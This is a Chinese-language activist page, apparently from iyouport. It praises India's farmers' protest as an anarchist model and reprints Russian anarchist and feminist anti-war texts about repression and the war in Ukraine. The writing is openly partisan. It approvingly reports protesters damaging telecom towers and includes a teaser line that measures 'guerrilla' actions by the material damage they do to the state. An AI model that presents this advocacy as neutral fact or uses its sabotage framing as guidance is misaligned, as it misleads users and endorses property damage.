【注：在锡克教徒中，琅加是古尔瓦拉的社区厨房，它向所有人提供免费膳食，无论其背景或信仰如何，例如种姓，宗教，性别，经济状况或种族。人们坐在地板上一起吃饭，锡克族社区志愿者负责维护和服务厨房，而所提供的餐点则始终是素食，以使更多的人可以享用。这是一种很有效的社区团结互助。】警察和企业媒体联合起来攻击抗议的农民 —— 但他们无法击败抗议者

渐渐地，这些自我组织的形式使其他公用设施得以建立起来，包括帐篷、太阳能移动充电站、洗衣房、图书馆、医疗摊位和牙科护理。同时，农民们小心翼翼地不让任何反对派的政党从这场抗议活动中获利；抗议者拒绝为任何政治领导人背书，也没有为任何一个政客提供平台，以禁止任何政客和党派在这场抗议中争夺指挥权。许多抗议者已经失去了对任何既定政党的信任，他们知道当政治风向转变时，这些政党只会退缩。他们质疑那些声称支持他们的政客的诚意，因为这些政客也曾支持过其他压迫性的专制法律，如废除宪法第370条。

农民们继续封锁通往德里的高速公路，穿越严冬，穿越酷暑，甚至穿越致命的大流行病的浪潮。他们呼吁在全国范围内进行罢工。他们没有放弃，即使已经有几十个人因寒冷、炎热和**COVID-19**而死亡。

【注：我们曾经在战术技巧中介绍过对权力支柱的利用，即 促进体制内反对派的出现，以瓦解统治的支撑；但我们特别强调了反抗者不应该轻易信任任何“外人”，尤其是要避免被党派所利用，避免抗议活动被转化为权力斗争的工具。我们介绍的都是原理，您需要根据自己面对的状况就这些原理进行最恰当的组合，以制定最适合您的战略目标的行动方案。】

农民们知道，几乎所有的政府政策都是由资助执政党的大型企业垄断机构决定的（即 利益集团）。抗议者把攻击的目标对准了政客和官僚，但也同时对准了印度顶级亿万富翁穆克什·安巴尼和高塔姆·阿达

尼的企业帝国。他们意识到这些企业垄断对他们的生计构成的威胁，拒绝接受“专家”和“经济学家”的保证，他们把这些法律描述为自由市场政策，宣称会“帮助农民”。抗议者知道，这些“专家”和“经济学家”中的大多数人从未走出他们由公司资助的空调办公室，从未亲自了解印度农业经济的细微差别。抗议者知道，如果世界银行和国际货币基金组织（IMF）的所有顶级经济学家都认为印度需要新的农业法，那么肯定是最糟糕的消息。由于安巴尼和阿达尼是印度人民党政府颁布的农场法的主要受益者，旁遮普和哈里亚纳邦的农民拒绝使用安巴尼拥有的 Jio SIMS 卡，转而使用竞争对手的网络。旁遮普省的一些 Reliance Jio 电信塔和其他基础设施被抗议者破坏。农民们也开始抵制 Reliance 拥有的其他产品和服务，包括加油站。

印度最高法院一度出面干预，以结束农民和政府之间的对峙。农民们坚持自己的要求，公开挑战法院，声称即使法院命令他们放弃抗议，他们也不会放弃，因为这对他们来说是生死攸关的事。农民们已经对司法系统彻底失去了信心，因为最近的最高法院的判决往往迎合了政府的要求。最终，法院被迫让步，下令暂停实施这些法律18个月。

几乎所有的新闻媒体都在播放支持政府的报道—— 传播针对农民的虚假宣传，称他们为“卡利斯坦人”和“恐怖分子”，将他们妖魔化，将他们的抗议活动幼稚化，并称他们“无知”。企业媒体故意压制有关抗议活动发展的新闻。然而，这根本没有成功地阻碍运动的进行。参与者在每个州直接从一个村子到另一个村子，组织了成百上千的集会，在集会上他们讨论了与农场法有关的问题，以及这些法律将如何对人们的生活产生不利影响，使公民处于企业的摆布之下。组织者督促参加这些集会的人们将他们学到的东西传达给他们的村庄和家庭。这些直接与基层民众沟通的渠道，比政府所做的任何宣传都要有力 —— 即使政府拥有所有的企业网络。

【注：这就是最简易的替代媒体形式 —— 通过社区和地区网络，取代统治阶级操纵的宣传网络。】

当农民转向社交媒体传播信息时，Facebook 及其子公司 Instagram 开始删除农民的网页以及其他批评政府的网页。Twitter 删除了500多个农民用来讨论法律的账户。Facebook 删除了属于 Kisan Ekta Morcha 的页面，这是一个来自反抗运动内部的官方新闻来源；然而，在大规模的公众反弹之后，他们被迫恢复了这个页面。

当巴巴多斯著名歌手蕾哈娜在推特上支持印度农民的抗议活动，为国际社会的团结和对印度政府的反击提供动力时，印度政府试图通过让自己控制的媒体名人作出回应，称这是诽谤印度的“国际阴谋”（“境

外敌对势力”），试图进行损害控制。

在每一个即将举行选举的邦 —— 比如西孟加拉邦，印度人民党多年来一直对其虎视眈眈 —— 农民都会派出他们自己的代表直接向人们讲话，以解释反农民法的性质，并要求人们不要投票给印度人民党。这导致了印度人民党在多个州的选举中遭受巨大损失。即将举行的北方邦（UP）选举可能决定BJP在印度的统治命运，而此时农民正在加紧抗议；印度各地正在计划为2020年11月26日开始的抗议活动的周年纪念日举行大规模集会。印度人民党担心在这些选举中出现反弹，这既是来自农民的反弹，也是对他们在管理COVID-19大流行病第二波中的灾难性失败的回应，由于氧气短缺等原因，这场大流行病造成了严重的破坏。

- 如果您错过了《“挑战政权的人会死在监狱 …… 但我们不怕”：捍卫真相的事实核查员与反乌托邦的斗争》

作为回应，他们立即采取措施，在选举前安抚农民；政府除了屈服于农民的要求，别无选择。农民们宣称，莫迪总理的声明没有任何价值 —— 他们希望看到议会在下届会议上彻底废除该法律，抗议活动将持续到那时。他们还希望政府能确保农产品的最低支持价格。这个对人民的要求无动于衷的政府—— 这个不断用野蛮、暴力和宣传来攻击不同意见的政府 —— 这个决心不惜一切代价对人民进行私有化的政府 —— 已经被打败了，并被迫改变路线。

这是印度一系列强大运动中的最新事件。对歧视性的《公民身份修正法》（CAA）的抗议活动在这条路上开创了先例。虽然《公民身份修正法》于2019年12月11日通过，但近两年时间过去了，政府还没有制定出法律的实施细则。为响应该法案而在印度各地爆发的大规模抗议活动吸引了社会各阶层的参与者；抗议活动以穆斯林妇女为支柱，在全国各地发起了占领。最后，大流行病迫使人们取消了抗议活动，但政府仍然担心，只要他们试图实施该法案，就会引起大规模的反弹。这就是人民的力量。当人们组织起来，认识到大家一起可以共同发挥的力量有多大时，没有任何政府当局可以阻止人民。

无政府主义的原则—— 包括横向组织和参与性决策、权力下放、团结、互助和自愿联合—— 在这场农民的抗议活动中都可以看到。无政府主义者采用直接行动，推翻等级制度，抗议不公正，通过创建公社和非等级制度的集体等反机构来自我组织生活。无政府主义者寻求培养一种反权威的集体机构关系，以便每个人都能在影响他们的每个决定中拥有平等的发言权，寻求在团体成员中建立一个粗略的共识，而不会求助于领导者或干部。无政府主义者组织起来占领和收回公共

空间，在那里融合艺术、诗歌和音乐来表达自由的理想。占领是从资本主义市场或专制国家手中夺回公共空间的一种方式；它也是树立直接行动的榜样。

我们可以在农民的抗议活动中找到所有这些原则和做法的元素——这就是他们强大和成功的原因。这一胜利推翻了这样一个神话，即“我们需要一个集中的指挥系统，上面有领导人，下面有盲目的追随者，才能使大规模的组织活动取得成功”。并非如此。所有这些抗议活动都是无领导的：参与者自己对要采取的行动路线达成了共识。当人们自己做出决定，并在自己的小社区中相互协调，相互提供援助，这就创造了最强大的集体力量和团结的形式。

这些抗议活动的成功，得益于这么多人的集体组织和长时间的合作，向所有人表明，我们可以自我组织，创造社区，而不需要外部强加的机构 —— 我们不需要专制的官僚机构和独裁的政府，因为它们集中了权力，压迫了人民。

在大多数情况下，这些抗议活动是由没有受过正规教育的妇女、贫穷的农民、和来自其他边缘化社区的人们推动的；他们共同表明，他们可以创造出比富裕的和受过高等教育的人更有道德和平等的社区。他们表明，被压迫者和贫困者可以将自己组织成互助和直接决策的社区，消除对强制性和等级性治理系统的所谓需要，这些系统的存在实际上只是为了剥削穷人。

印度农民抗议活动的成功提供了一个全世界每个人都可以学习的模式 —— 我们所有人都可以在反对剥削我们的压迫性政权的斗争中实施的反抗模式。这个世界正在见证一个抗议和行动主义的新时代。印度农民的抗议活动应该成为民主的灯塔，显示我们如何能够击败专制政权。〇

延伸阅读：

- The beauty of farmers’ protest
- Demonetization
- “People’s Victory, But Protests Not Over Yet”: Farmers React to News of Repeal of Laws
- Sainath: Farm Protest is in Defense of Democracy, We’re Reclaiming Republic
- Mutual Aid and Self-Organization in Anti-CAA and Farmers’ Protests
- Anarchism, Mutual Aid, And Self-Organization: From The

George Floyd Uprising To India’s Farmer Rebellion

How Farmers Defeated the Government of India

原文

俄罗斯： 等待历史车轮的转动 - iyouport

乌克兰战争反抗者-寻求经验

行动的效果可以根据三个标准来评价：对国家造成的物质损失、行动消息本身所产生的影响、以及事后游击队战斗力的保持。必须努力在所有三个方面实现成效最大化……

2月28日：

「图」

转评论

2月20日：

「图」

转帖：解释为什么要强调上图中这件事——（对中国的重要性是一样的）

“主权” 在所有民族国家意识形态中都是一个重要词汇。当然这也是现代/西方意识形态的一个重要词汇（比如俄罗斯联邦体系的意识形态或多或少就是从现代/西方意识形态的元素中建立起来的，然后又宣称要从这一意识形态中 “解放出来”）。

俄罗斯反战运动第一阶段已接近尾声，这场运动主要是被蛮力镇压下去的。

本文将讨论这些抗议活动的利害关系，分享俄罗斯无政府主义者对示威活动碰壁原因的反思，已经俄罗斯无政府主义者和女权主义团体翻译的文章，这些文章探讨了他们抵御战争的原因、他们遇到的挑战，以及他们打算如何继续前进。

为什么说俄罗斯反战运动仍然是我们最光明的希望？

「图」

如果普京政权在过去十年中没有利用刑讯逼供、毒害和监禁异议政客等手段镇压俄罗斯的每一场社会运动，入侵乌克兰就不可能发生。

同样，普京对白俄罗斯和哈萨克斯坦的军事干预 —— 更不用说叙利亚了—— 也帮助专制者维持了对这些国家的控制；乌克兰是普京认为的势力范围内唯一一个在过去十年中逃脱了他的控制的国家。

乌克兰一些选择拿起武器反抗俄罗斯入侵的无政府主义者是来自俄罗斯和白俄罗斯的侨民，他们担心一旦普京征服了乌克兰，他们自己将无处可逃。

我们绝不能听信西方的一面之词把所有这一切说成是所谓的“自由世界”与东方专制国家之间的对决。俄罗斯的军国主义帝国主义令我们担忧，那是因为俄罗斯的镇压模式与我们在世界其他地方面临的国家战略并无任何区别。在地球上的任何地方，政府都在依靠越来越多的镇压性和侵入性警务以控制躁动不安的民众。

乌克兰战争只是叙利亚、也门、埃塞俄比亚、缅甸和无数其他地方的故事的最新章节。对乌克兰的入侵代表了这个世界上无数政府在其领土内采用的相同策略，并将其扩大到地缘政治的规模：诉诸蛮力镇压反抗并扩大控制。

战争总是会激化民族主义。就像叙利亚战争一样，俄罗斯入侵乌克兰也为法西斯主义者和其他民族主义者招募新信徒、为军国主义支持者将其项目合法化创造了有利环境，上至北约，下至地方民兵—— 不仅在乌克兰，从芬兰到阿塞拜疆的整个边境地区都是如此。许多乌克兰战士将俄罗斯士兵称为“兽人”，将敌人非人化。造成这种局面的主要过错可能在于普京，但是，在未来几年里，这将成为所有人的灾难。

如果俄罗斯爆发一场强大的国际主义反战运动，其力度足够破坏普京政府的稳定，带动乌克兰和世界其他地方也能爆发类似的运动，这是结束这场战争的唯一办法，也很可能是现在唯一能够在不造成双方巨大人员伤亡的情况下阻止战争的办法。如果战争无限期地拖延下去，或者在民族主义军国主义的野蛮力量以某种方式结束，那么在未来的几十年里，冲突各方的人民都将陷入民族主义和军国主义的阵营。

但如果乌克兰的战争由于普通民众的反抗和团结而结束，那就会为更多的反抗、更多的反叛、更多的团结开创先例，而这些都会从俄罗斯蔓延到乌克兰、再到西欧和美国，甚至可能蔓延到土耳其、中国、印度、和拉美—— 如今在世界上任何地方的人们都不得不为了少数资本家的利益而被迫彼此争斗。

如果我们知道俄罗斯的社会运动在很大程度上取决于此，那么十年前镇压开始时，我们就应该向无政府主义者提供更多的资源。从2001–2003年反对入侵阿富汗和伊拉克的运动，到2014年独立广场的悲剧，这突出了我们一次又一次艰难汲取的教训：在全球争取解放的斗争中，我们每输掉一场战斗，就只能被迫以更糟糕的条件和更高的赌注再战下一次。

目前，俄罗斯发生动乱的可能性确实非常小。留在俄罗斯的绝大多数人似乎都是爱国的、自满的、或逆来顺受的。更糟糕的是，随着乌克兰战争的发展，各方都可能变得非常愤懑，除了为各自的政府杀戮和牺牲之外，人们已经无法想象其他任何事了。

但是，除非以核毁灭告终，否则乌克兰战争绝不会是21世纪的最后一场战争。我们或许还有时间从迄今为止的失败中吸取教训，为下一次做更好的准备，建立跨越国界的和跨越所有其他差异的团结，从而有能力以足以结束战争的力量—— 以革命的力量—— 应对战争。3月18日，Arina Vakhrushkina 站在莫斯科驯马场广场上。她的标语上写着：”为了这张海报，我将被罚款50 000卢布。我站在这里是为了你们的未来和乌克兰的未来。人民，不要无动于衷！现在，乌克兰的儿童正在死去，俄罗斯的母亲正在失去自己的儿子。不该是这样的！”随后，她立即被捕。

抗议活动的局限及其未来

「图」

在俄罗斯，反对入侵乌克兰的抗议活动在2022年的3月初达到顶峰。根据 OVD-info的数据，3月6日，截至莫斯科时间晚上8点，俄罗斯警方在56个城市拘留了超过4419名抗议者，其中莫斯科1667＋，圣彼得堡1197＋，新西伯利亚271＋。值得注意的是，3月6日的行动日完全是通过秘密的和非法渠道组织的，因为合法团体无法获得活动许可，只能在随后的周末组织活动，而到此时事件的进程已经确定。随后的几周里，抗议活动逐渐减少。而现在，可能性的窗口已经关闭。

在撰写本文的过程中，我们与俄罗斯各地的无政府主义者就反战运动

在第一阶段达到的极限进行了交流。他们认为以下这些因素阻碍了抗议活动的进一步发展：

1、参与抗议活动的风险与收益比极高。“收益”包括受抗议活动影响导致局势发生的任何变化，或者与警方的冲突取得的任何重大胜利。这两种情况都没有发生。

2、抗议活动过于集中化。很多人已经习惯于由纳瓦尔尼或他的团队号召人们走上街头。这导致抗议者普遍缺乏创造性和独立性。现在，人们又在等待“新的纳瓦尔尼”出现号召人们走上街头。

3、许多人已经看到，即使是最微小的抗议尝试也往往以被捕告终，他们担心自己在就业、大学学习、家庭生活等方面会受到更多的法外迫害。人们已经厌倦了被逮捕，坐在警察局里冒着被拷打的风险，接受罚款或 15 天的监禁，而换来的却几乎没有任何可见的收获。

4、许多人对和平抗议手段感到失望。有些人在聊天室里发泄情绪，写下烦恼，然后就忘掉它。https://www.patreon.com/posts/zhuan-fa-ping-ye-89007296

5、虽然我们并不因此而责怪人们，但也必须考虑到，战争初期有很多人离开了俄罗斯，他们或是因为面临迫害，或是因为怀疑再晚就没有更好的逃跑时机了。这其中就包括很大一部分原本可以被组织起来的人。现在，由于缺乏长期的组织结构，也没有信心相信如果那些人留下来会能有多高的组织能力和成功率。

6、人们只是冷漠地接受了正在发生的一切，并在不同程度上受到了恐惧的影响。

7、大量俄罗斯人支持入侵，亲战宣传在俄罗斯社会中占据主导地位，这让许多抗议者士气低落。目前，除非你真的关注所有新闻，也没有严重的个人经济问题，否则仍有可能相信“一切都会好起来的，没那么糟糕”。俄罗斯的宣传已经达到了目的：许多人认为俄罗斯只是在从纳粹手中拯救顿巴斯。

8、缺乏具体战略。没有具体的战略目标，“停止战争”的要求就毫无意义。许多人认为政府永远不会倾听人民的声音，抗议活动也没能激进化（至少目前还没有）。

许多俄罗斯无政府主义者认为，全国性大规模抗议活动的势头只是暂时减弱了。他们预计，随着经济形势的恶化和更多的伤亡报告传回俄

罗斯家庭，最终会有更多的人重返街头，不仅抗议战争，而且抗议政府和现行社会秩序。在此期间，留在俄罗斯国内的无政府主义者努力传播适当的安全措施，重建或加强应对镇压后果的支持结构，并开展秘密外联和技能分享活动，希望当民众的愤怒再次高涨时，他们能够做好准备。

> 镇压渠道继续发挥作用，而且似乎没有尽头。但自由的曙光已经显现。俄罗斯法西斯政权在乌克兰发动的战争显然没有按照肉毒杆菌独裁者的计划进行。在白俄罗斯，对占领政权的抵抗仍在继续。如果俄罗斯帝国主义在乌克兰的失败得到反对普京和卢卡申科独裁政权的人民斗争的支持，我们被监禁的同志将获得自由。让历史的车轮加速前进，让暴君栽大跟头。

为了工人阶级：站在乌克兰一边

「图」

本文由无政府主义劳工组织网站 *Antijob* 于*2022*年*3*月*1*日发布。

这篇文章的每一部分都将以 “观其行而非听其言” 开头。因为我们生活在一个充满谎言的国家里，就像奥威尔在小说《1984》中描述的世界那样，在这个世界里，谎言即真理，战争即和平。因为用 “我们的”总统自己的话说，他无意提高退休年龄，但事实上他刚刚已经提高了。因为 “我们的” 总统口口声声说要向医务工作者支付 “COVID-19” 补偿，但实际上他们不得不从老板那里榨取这笔钱。因为他信誓旦旦地承诺 “要解决” 沃斯托奇尼航天发射场的工人被欠薪的问题，但实际上，在新的《热线》电视节目后（普京在节目中回答忠实 “观众” 事先准备好的问题，一讲就是几个小时），警察便拘留了提出问题的工人，将其关进临时拘留所数天，以便令其闭嘴。因为普京誓言为了和平，但实际上却发动了一场入侵战争，他甚至禁止我们称其为战争。

这篇文章的作者多年来致力于为工人的利益而战，对抗法西斯主义 —— 是在事实上，而不仅仅是在口头上 —— 因此，与普京不同，他是值得信赖的。

谁是“阴谋小集团”？

「图」

那些在行动上而不只是在口头上努力捍卫劳动人民权益的人心里非常清楚，在普京的独裁政权下，要做到这点几乎是不可能的。为什么？因为社会的任何努力—— 这里指的是工资劳动者—— 都会立即遭到镇压。国家正在对我们社会中最活跃的反抗者进行刑事迫害，从而使我们永远无法成为对国家局势产生影响的力量。国家从两个方面采取行动：一方面，它对劳工积极分子进行令人发指的迫害；另方面，它制定法律来合理化这种暴行。

关于它是如何运作的，这里有一个例子。2008年，雅库特乌达奇纳亚钻石矿工人瓦伦丁·乌鲁索夫决定组织工会，与其他工人一起争取自己的权利。但是，就像童话故事里的情节似的，当地缉毒警察头子和他的侦探们把瓦伦丁带到树林里，朝他头顶开了一枪，并在他身上强行安放了毒品。最后，瓦伦丁入狱四年（他被判了六年徒刑，但四年之后假释出狱），工会也没有组织起来。

如果从警察的无法无天说到他们的立法，这里有一点值得注意，那就是：随着新《劳动法》的通过，在俄罗斯不可能再合法地举行罢工了。这就是为什么在新劳动法通过后，罢工直接从官方统计中消失了。这并不是说没有人罢工了，而是说从普京政府的角度来看，罢工已经变成“非法”的了。顺便说，当德国最大的工会金属工业工会（IGMetall）主席休伯特向普京询问 MPRA（跨地区工会 MPRA 是俄罗斯现存的最大胆的工会之一）活动家的生命和健康受到威胁的情况时，普京对休伯特说，**MPRA** “不是工会，而是极端组织”。这大概可以概括俄罗斯总统对工人运动的态度。不过我想，随着时间的推移，在他的心目中，极端分子会变成恐怖分子。

因此，我们不能合法地举行集会和罢工，因为这一切都需要得到官方的许可。如果人们不具备集体维护自身权益的能力，他们就不会去学着这样去做，如果他们不去学会如何组织起来维权，那么劳工运动就无从谈起。相比下在西方，那里的工人们会占领工厂、与警察搏斗、阻止新自由主义改革，而在我们这里，工人们只会闭上嘴巴。乌克兰政府就像俄罗斯政府一样，为富人的利益服务，但它有一个非常重要的区别—— 乌克兰没有俄罗斯政府所拥有的镇压公民社会的手段。在那里，各种寡头集团相互取代，因此没有机会永久建立自己的地位，也无法彻底粉碎阻碍他们的东西。更重要的是，如果这些集团中的任何一个钻了空子，不愿倾听人民的呼声，乌克兰人就会像在独立广场那样将其推翻。不幸的是，这并不意味着社会将权力掌握在自己手中了，但确实意味着社会为自己保留了抵抗的能力。

最后，我们回到本节标题提出的问题。究竟是谁在那个邪恶的“阴谋小集团”里阻止普通人有所作为？这个问题的答案对每一个理智的人

来说都是显而易见的。乌克兰政府现在正在向任何愿意与侵略者作战的人发放武器。如果邪恶小集团只提供民族主义者的刺刀和对本国人民的恐怖，那它又有什么理由不惧怕人民投向敌人一边并推翻它呢？你能想象普京给老百姓分发武器吗？他甚至连塑料杯都害怕（指普京臭名昭著的洁癖）。正是在俄罗斯，安全部门拥有无限的权力，并利用这些权力中饱私囊，镇压持不同政见者。武装起来的人民对普京及其将军和寡头们来说是最恐怖的噩梦。向乌克兰人民分发武器的做法是俄罗斯官员和媒体做梦都想不到的，令他们大为震惊。“警察的孩子恨警察！” 2019年8月10日，俄罗斯无政府主义者、前政治犯阿列克谢·波利霍维奇在莫斯科发表演讲时带头高呼。他因此立即入狱。尽管俄罗斯的极权状况日益加剧，但无政府主义者仍在继续组织活动。

举着 “反法西斯” 旗号的法西斯主义者

「图」

那些在行动上而不是在口头上反对法西斯主义的人非常清楚，反法西斯活动家一直在俄罗斯被监禁，“我们的” 政府利用极右翼分子镇压社会抗议活动。希姆基森林的故事就是这种情况最生动的例证。

当时，当局雇佣莫斯科流氓团伙 “角斗士” 的法西斯分子来捣毁希姆基森林保卫者的营地。反法西斯活动家以捣毁希姆基市政大楼作为回应。继而，当局没有经过长时间的考虑就对反法西斯活动家展开了搜捕，并将其中两人—— 亚历山大·加斯卡罗夫和马基姆·索洛波夫——监禁了三个月。

但这还只是温和的镇压。反法西斯活动家阿列克谢·苏图加因在莫斯科 “斯巴罗”（Sbarro）咖啡馆与极右翼分子斗殴而背叛服刑三年。

还有一个很好的例子。曾经有一段时间，索罗克·索罗科夫运动(Sorok Sorokov) 因袭击反对在城市公园修建[俄罗斯]东正教教堂的活动家而出名。那这些人因此承担了什么后果？没有任何后果。俄罗斯当局喜欢以上帝的荣耀为名实施恐怖。说到这里，我们又想到了另一个重要问题。与过去的法西斯主义者一样，俄罗斯当局正在将传统主义和古保守主义强加给社会。学校开设东正教文化课禁止性教育。将 “殴打”从刑法中删除，而家暴者往往只能根据这一条被起诉。这只是本届政府所作所为的一小部分。事实上，通过学校、电视和其他一切可以利用的渠道，政府正在灌输一种宗教和反科学的思维方式。当人们不愿意接种COVID-19疫苗时，他们就会感到惊讶。你可以跳进冰窟窿里，在身上划十字。“我们是俄罗斯人，上帝与我们同在！” 这个上帝还挺后现代的，因为他没有注意到普京格连吉克宫殿里的脱衣舞

杆。但谁知道呢，也许在中世纪的俄罗斯，茅屋里也有钢管？只有上帝知道。

但抛开所有的文化细节不谈。简而言之，俄罗斯政府信奉帝国民族主义意识形态。这种意识形态的核心是，一切都应由中央而非地方来决定。在“莫斯科不是俄罗斯”这句话中，很难看到有什么玩笑的成分。但我估计，“俄罗斯天然气工业股份公司是俄罗斯的财富”这句口号百分百是在开玩笑。用这个极尽欺骗之能事的政权的公关语言来说，“西伯利亚之能”全部流向了海外。留给西伯利亚的是被砍伐的土地、乌云密布的天空、癌症和被毁坏的大自然。“俄罗斯的财富”甚至无法将天然气输送到克拉斯诺亚尔斯克地区。所有天然气管道都朝着远离克拉斯诺亚尔斯克的不同方向延伸，大部分向西，少部分向东。而克拉斯诺亚尔斯克铝厂则是“该死的美国人”的过错，因为该厂宣布实行“黑天”制度（环保制度）。

俄罗斯政府禁止居住在这里的各民族的土著组织。普京政权宣布巴什基尔人的组织“巴什科尔特”为“极端组织”，事实上该组织的工作只是保护自然古迹免遭工业开发。但还有更恶劣的例子。例如，在印古什人抗议改变印古什和车臣之间的边界后，印古什人民泰普理事会的几名成员被监禁，该组织本身也被关闭。普京并没有对他的车臣门徒发火，而是屈服于他们的愿望。未来高加索地区的局势会如何发展，已经不难猜测。但谁会在乎呢？我们之后哪怕洪水滔天。

多亏了这一切，即使是最坏的乌克兰民族主义者也可以问心无愧地说：“这些家伙禁止我们抠鼻子！”入侵后不久，俄罗斯警方拘留了人权活动家玛丽亚·马利舍娃并搜查了她的家。

21世纪的殖民者—— 去你妈的！

「图」

任何一个想让自己的国家生活更好些的人，不是在口头上，而是在行动上，都应该知道：这不可能通过与邻国的战争来实现。但是，“我们的”前“共产主义者”、契卡主义者、暴徒和他们的后代，已经成为21世纪的新殖民者。他们在自己的领土上骚扰和试验居住在这里的人民，始终不会满足。他们始终想要新的领土。首先，他们抢走了克里米亚，并在乌克兰东部建立了虚假的共和国，在那里，那些不同意克里姆林宫及其任命者意志的人，或者只是被抓了现行的反抗者，充其量只能被当作囚犯关在地下室里。但这对统治者来说还远远不够。他们想要整个乌克兰。因此，“俄罗斯军舰，去你妈的”成了国际社会的流行口头禅。

写下这篇文章让我感到痛苦 —— 因为我知道，我们的传统不仅包含对其他民族的压迫和舔主子屁眼的恶习，也当然包括反抗的精神意志。从老诺夫哥罗德（**Novgorod Veche**）[基于集会的决策的早期典范]、到斯捷潘·拉辛（**Stepan Razin**）、再到纳罗德尼克（**Narodniks**），始终有一条反对专制主义的民众斗争的历史主线，也可以说是反对民族国家的爱国主义。无数英雄舍命奋战，只为了你我不至于成为 “欧洲宪兵”（这是描述俄罗斯在欧洲的镇压力量的长期说法，可追溯到沙皇尼古拉一世），而成为他人的榜样。https://www.patreon.com/posts/shui-shuo-jian-95542126

那么，为什么我们又一次选择了舔主子、选择了为王位上的精神病人服务呢？如果我们想为我们历史上真正的美好事物感到自豪，又怎么还会选择生活在伊凡雷帝的特辖区（Oprichnina）[大规模镇压和处决波雅尔/相当于男爵等级的“自由人”]、尼古拉·帕尔金或斯大林的统治之下呢？俄罗斯政府帮助独裁者卢卡申科镇压白俄罗斯人民的反抗，让他继续坐稳王位，现在又想让我们的乌克兰兄弟姐妹屈服。难道我们想让与我们比邻而居的人民把我们视为占领者吗？难道我们想要被憎恨和鄙视吗？

我不想。所以我感到自豪—— 绝不是为普京—— 而是为这样一个事实，即：就连 “俄罗斯军舰，去你妈的” 这样的国际口号都是用俄语喊出来的，而据说乌克兰是禁止使用俄语的。因此，我们还没有失去一切。涂鸦上写着“不要战争”。

我们如何挽回这个迷失的社会？

「图」

那些在行动上而非口头上关心人民的人绝不希望人民在毫无意义的战争中丧生。但普京政权则始终确保俄罗斯普通人唯一的社会生命线就是在军队和其他执法机构服役。一名俄罗斯军方囚犯的故事很好地说明了这些人是如何在普京的国防军中终老的。国家主义者请做好准备—— 因为这个故事非常国际化，但让国家主义者高兴的是，它非常符合 “Skrepy” 的精神。[“Skrepy” 一词出自普京关于俄罗斯民族 “独特性” 的演讲；其字面意思类似于 “大回形针”—一种将人们联系在一起的东西。]

2022年2月24日，俄罗斯士兵拉菲克·拉赫曼库洛夫（Rafiq Rakhmankulov）被乌克兰军队俘虏。他的母亲是萨拉托夫州居民纳塔利娅·代内卡（Natalia Deineka）。除拉菲克外，她另外还有五个孩子，即总共六个。三个是她的，三个是她丈夫的。她丈夫是一名建筑

工人，负责建造桥梁，上三班倒。他们两口子一起轮班，但她在其他地方工作—— 一家体育用品商店的仓库。这是一个复杂的无产阶级家庭，既不符合右翼的世界观，也不符合左翼的世界观。拉菲克有一个伴侣叫莉莉娅，为了养活未来的家庭，他在应征入伍并服役一年后转为合同兵役。他看中的是军队里的薪水和获得住处的可能性。显然，他不想像父母那样上一辈子三班倒，也不想去背负二三十年的房贷压力，但想要拒绝这些噩梦的另一种选择只能是，把灵魂出卖给魔鬼 …… 我是说，出卖给普京。这就是整个故事。

我无意为拉菲克这样的人开脱，当然，为了让这些家伙懂得 “不要窥探别人的僧院”（这是俄罗斯俗语，指不要把自己的处事方式强加于人），这些家伙需要一顿痛打。但我也知道，俄罗斯有许许多多这样的拉菲克、伊万诺夫和无数其他人，必须对此采取一些措施。普京根本不在乎他们的死活—— 普京需要伊万诺夫和拉菲克们忠心耿耿地为他服务，在他的军事冒险中勇敢地献出自己的生命，或者抡起警棍去殴打那些运气稍好点的、已经意识到这样活着不是办法的其他伊万诺夫和拉菲克们。https://t.me/iyouport/9433

这日子真不是人过的。唯一有体面收入的工作不应该是执法机构。你不能让人们不得不去为银行家服 20–30年的债役只为拥有自己的一个小家。拉菲克们的躯体在乌克兰的田野上腐烂值得吗？为了自己的幸福，不惜践踏他人的幸福，这类男人值得莉莉娅们嫁给他们吗？拉菲克和莉莉娅们更接近我，而不是普京们、梅德韦杰夫们、格列夫们、罗登伯格们、季姆琴科们、普里戈津们[俄罗斯著名寡头]、以及其他各民族的俄罗斯权贵们，因此我祝愿乌克兰的萨什卡和冬妮娅[这些是乌克兰人的常用名字，是整个乌克兰普通人的代名词]取得胜利，希望我们与拉菲克和莉莉娅们，也就是与俄罗斯工人阶级一起，最终开始战斗，而不是与想象中的乌克兰班德拉分子战斗（即纳粹合作者、乌克兰民族英雄斯捷潘·班德拉的追随者）。相反，是要去对抗那些把我们变成他们奴隶的人。否则，任何 “共产主义”或 “反法西斯主义”都帮不了我们。

顺便说，当俄罗斯失败之后，萨什卡和冬妮娅们也将开始转向与阿赫梅托夫们、科洛莫伊斯基们、波罗申科们作战（都是乌克兰寡头的名字）。我们只有先处理好自己的问题，才能帮助他们。同时，他们可以教会我们一两件事，而不是我们教他们。

—— 拉兹诺奇涅茨（Raznochintsy）意为“各种阶层的人”

来自第八倡议组活动家的呼吁

「图」

3月10日，第八倡议组（*Eighth Initiative Group*）的 *Instagram* 页面上出现了以下文字：

2022年3月5日，巡警和防暴警察闯入了我们的活动家、其他女权运动的活动家以及一些陌生人的家中。我们计划在3月6日举行全俄反战游行，其中包括我们共同筹备的妇女纵队。

我们认为，女权活动家遭到搜查和逮捕的时间恰好就在游行之前，这绝非偶然。镇压当局想发动先发制人的打击，他们成功了 —— 3月6日，所有参加游行的人都没有得到我们的帮助或协调。我们认为，这些荒谬的 “炸弹骗局” 完全莫须有的指控，是企图彻底摧毁我们的运动，让我们保持沉默。但我们不会被摧毁，我们也不会保持沉默。

我们是一个基层的、横向的运动。无论镇压部队多么想 “砍掉”第八倡议组、反战女权抵抗运动和我们其他同志的 “脑袋”，他们都无法得逞。因为我们没有“头”。我们没有领袖，这是他们永远无法理解的。现在，我们将把所有的力量凝聚成拳，继续努力—— 对我们来说，这不是一种选择，而是一种责任。来自：https://www.patreon.com/posts/wei-shi-yao-bao-85963903

“这是一张带有二维码的贴纸图像，可通往我们的网页。你可以在安全的地方打印它，将其粘在街道和院子里。把你所知道的一切告诉你的熟人，让人们在电视宣传的层层包浆背后看到战争的真实面目——丑陋、血腥和致命。”

是的，现实已经发生了变化，风险比以往任何时候都高，工作也更加困难。我们很可能不会直接号召你们走上街头—— 我们不想让活动人士陷入新的刑事案件。也许现在最好的策略是 “游击”分散行动：继续张贴传单，尽一切可能传播信息，最重要的是—— 彼此团结起来。

